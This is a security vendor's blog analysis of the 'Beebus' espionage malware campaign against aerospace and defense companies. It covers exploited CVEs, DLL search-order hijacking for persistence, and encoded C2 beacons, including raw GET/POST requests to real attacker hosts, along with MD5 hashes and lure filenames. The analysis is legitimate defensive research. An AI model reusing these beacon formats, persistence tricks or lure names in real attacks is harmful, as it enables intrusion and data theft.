Blog

Operation Beebus

FireEye discovered an APT campaign consistently targeting companies in the aerospace and defense industries. The campaign has been in effect for sometime now.

Infection Vector

We have seen this campaign use both email and drive-by downloads as a means of infecting end users. The threat actor has consistently used attachment names of documents/white papers released by well-known companies. The malicious email attachment exploits some common vulnerabilities in PDF and DOC files.

Exploits Used by Malware

PDF DOC
CVE-2011-0611 CVE-2012-0158
CVE-2009-0927 CVE-2010-3333
CVE-2012-0754

Table 1

The
malware uses a well-documented vulnerability in the Windows OS known as DLL search order hijacking. There is an order in which executables load DLLs on the Windows operating system. This particular malware takes advantage of this vulnerability and drops a DLL called ntshrui.DLL in the C:\Windows directory. The first place from where the executable looks to load the DLL is its own directory. By dropping the ntshrui.DLL in the directory C:\Windows, the malware achieves persistence.

Figures 1 and 2 below show the modified weaponized PDF, which was used in the spear phishing attack. The PDF on the left is the non-malicious version, while the one on the right is malicious. As you can see from the pictures below, the original PDF was modified using the Ghostscript tool. Also the size of the malicious PDF is significantly smaller than the non-malicious version.

Beebus1

Figure 1

Beebus2

Figure 2

Command and Control

Beebus3

Figure 3. Initial GET request

The malware communicates with a remote command and control (CnC) server. The GET request in Figure 4 is the initial request that the compromised machine makes to “check in” with the CnC server. The keyword “p=2,” which is sent out as part of the URI, appears to indicate the version of the malware. Mining our database we found three versions of this malware and they are noted in the table below. The version value is hard-coded in the ntshrui.DLL file in the samples we observed.

 

Beebus4

 

Figure 4. Encrypted data sent to CnC

It encrypts information it collects with the base64 algorithm and then sends it to the remote CnC server as seen in Figure 4. It is interesting to note that the base64 data is subjected to some substitutions before it is sent out preventing run of the mill inspection on the wire. It replaces the ‘/’ (forward slash) and ‘+’ (plus) characters which are part of the base64 character set with ‘_’ (underscore) and ‘-‘ (hyphen) respectively. The code that performs this operation is shown in Figure 5.

 

Beebus5

 

Figure 5

A sample of the data that is encrypted and sent to the CnC server for version ‘p=2’ is seen in the memory dump shown in Figure 6. At offset 4-7 it contains a time-based counter. It uses the keyword “osamu” in this instance to identify this particular campaign. The campaign keywords are not sent out in version ‘p=1’ but can still be found hardcoded in the DLL payload. The hostname and OS information are also included in the beacon. It awaits further commands from the CnC server in response to the data sent out.


Beebus6

Figure 6

It has modules to capture system information (processor, disk, memory, OS), process id, process start time, and current user information. It also contains a module to download and execute additional payloads and updates. It downloads in to %TEMP% directory and calls CreateProcessA to invoke execution as seen below.

 

 

Beebus7

 

Figure 7

 

Beebus8

 

Figure 8

The POST request looks very similar to the GET request and uses base64 encoding to encode the URI.

POST /s/asp?__uLBwO1bAMKBgG2BQAAAAEAAAACAAAAAAAAAG9zYW11AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVwBJAE4ARABPAFcAUwBNAEEAQQBOAEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==p=2 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; )

Accept: */*

Host:

Content-Length: 563

Connection: Keep-Alive

Cache-Control: no-cache

The malware collects the following information from the compromised machine.

1)    Type of Processor

2)    CPU Speed

3)    Figures out the product type by querying the \SYSTEM\CurrentControlSet\Control\ProductOptions\ProductType registry key.

4)    Memory Usage

 

Beebus9

 

Figure 9

The malware is fairly noisy sending multiple GET requests. In our test environment we observed that the POST request started a couple of hours after the malware initially checked in with the CnC. Around the same time we also noticed a new exe get dropped under “C:\Documents And Settings\Administrator\Local Setting\Temp~ISUN32.exe”. The two figures below show the ISUN32.exe process start up and the exe get dropped under TEMP directory.

 

Beebus10

 

Figure 10

 

Beebus11

 

Figure 11

We have a full list which summarizes the attachment names, campaign codes, and campaign duration of this particular operation. The table also includes the md5sum of the malware payloads. Below is a subset of attachment names that we have observed. We are willing to share additional information with the security community. Please contact research at fireeye dot com for more information.

sensor environments.doc
Global_A&D_outlook_2012.pdf
FY2013_Budget_Request .doc
Understand your blood test report.pdf
RHT_SalaryGuide_2012.pdf
Security Predictions for 2012 and 2013.pdf
April Is the Cruelest Month.pdf
National Human Rights Action Plan of China (2012-2015).pdf
Dept of Defense FY12 A STTR Solicitation Topics of Interest to Boeing.pdf
Boeing_Current_Market_Outlook_2011_to_2030.pdf
RHT_SalaryGuide_2012.pdf
dodd-frank-conflict-minerals.doc
Conflict-Minerals-Overview-for-KPMG.doc
сообщить.doc

Timeline of the Beebus Campaign

From the timeline below, we were able to figure out that this campaign has been targeting companies in the Aerospace and Defense vertical in waves. There is no specific pattern to this attack, we have seen days on which multiple weaponized emails were sent to several companies, and on other days we observed that the threat actor sent only one email to a specific target organization. The chart below shows Beebus attacks in the last year.

 

Beebus12

 

ORIGIN/THREAT ACTOR ATTRIBUTION:

 


Beebus13

 

 

The term “Beebus” was coined from an initial sample in this campaign (MD5: 7ed557921ac60dfcb295ebabfd972301), which was originally submitted to VirusTotal on April 12, 2011.[1] After this executable compromises the endpoint, this sample then generated command and control traffic to:

GET /s/asp?XAAAAM4w5jmOS_kMZlr67o8jettxsYA8dZgeNAHes-Nn5p-6AFUD6yncpz5AL6wAAA==p=1 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; )

Accept: */*

Host: bee.businessconsults.net

As early as March 2011, Joe Stewart at Dell SecureWorks reported that various subdomains off the primary domain of “businessconsults.net” have acted as command and control nodes for the well-known “HUC Packet Transmit Tool” (aka “HTran”)[2], which is a light-weight TCP proxy tool used by the nation state threat actor that breached RSA around that time, labeled by McAfee as “Operation Shady RAT.”[3] According to McAfee, one of the major tools, techniques, and procedures (TTPs) used by this threat actor was their use of obfuscated or encrypted HTML comments embedded in otherwise benign websites, in order to indirectly control compromised endpoints.

As such, this TTP of obfuscated/encrypted HTML comments has been also widely reported in the media as associated with the nation state group called “Comment Group” or “Comment Team,” which is believed to be associated with the Chinese government.[4]  Bloomberg reports that various US intelligence sources have labeled this activity as “Byzantine Candor”, accordingly.[5]

Based upon these correlations, we believe Beebus to be yet another TTP associated with threat actors based in China.

Another related sample (MD5: d7ec457be3fad8057580e07cae74becb) was originally submitted to VirusTotal on Sept. 23, 2011[6] and generates the following
“Beebus” traffic pattern:

GET /s/asp?XAAAAM4w5jmIa_kMZlr67o8jettxsYA8dZgeNAHes-Nn5p-6AFUD6yncpz5AL6wAAA==p=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; )
Accept: */*
Host: 68.96.31.136

Similarly, the IP address (68.96.31.136) was another C2 node reported by Dell SecureWorks as hosting the HTran proxy infrastructure.[7]


[1]https://www.virustotal.com/search/query=7ed557921ac60dfcb295ebabfd972301


This post was written by FireEye researchers Darien Kindlund, Vinay Pidathala, and Thoufique Haq.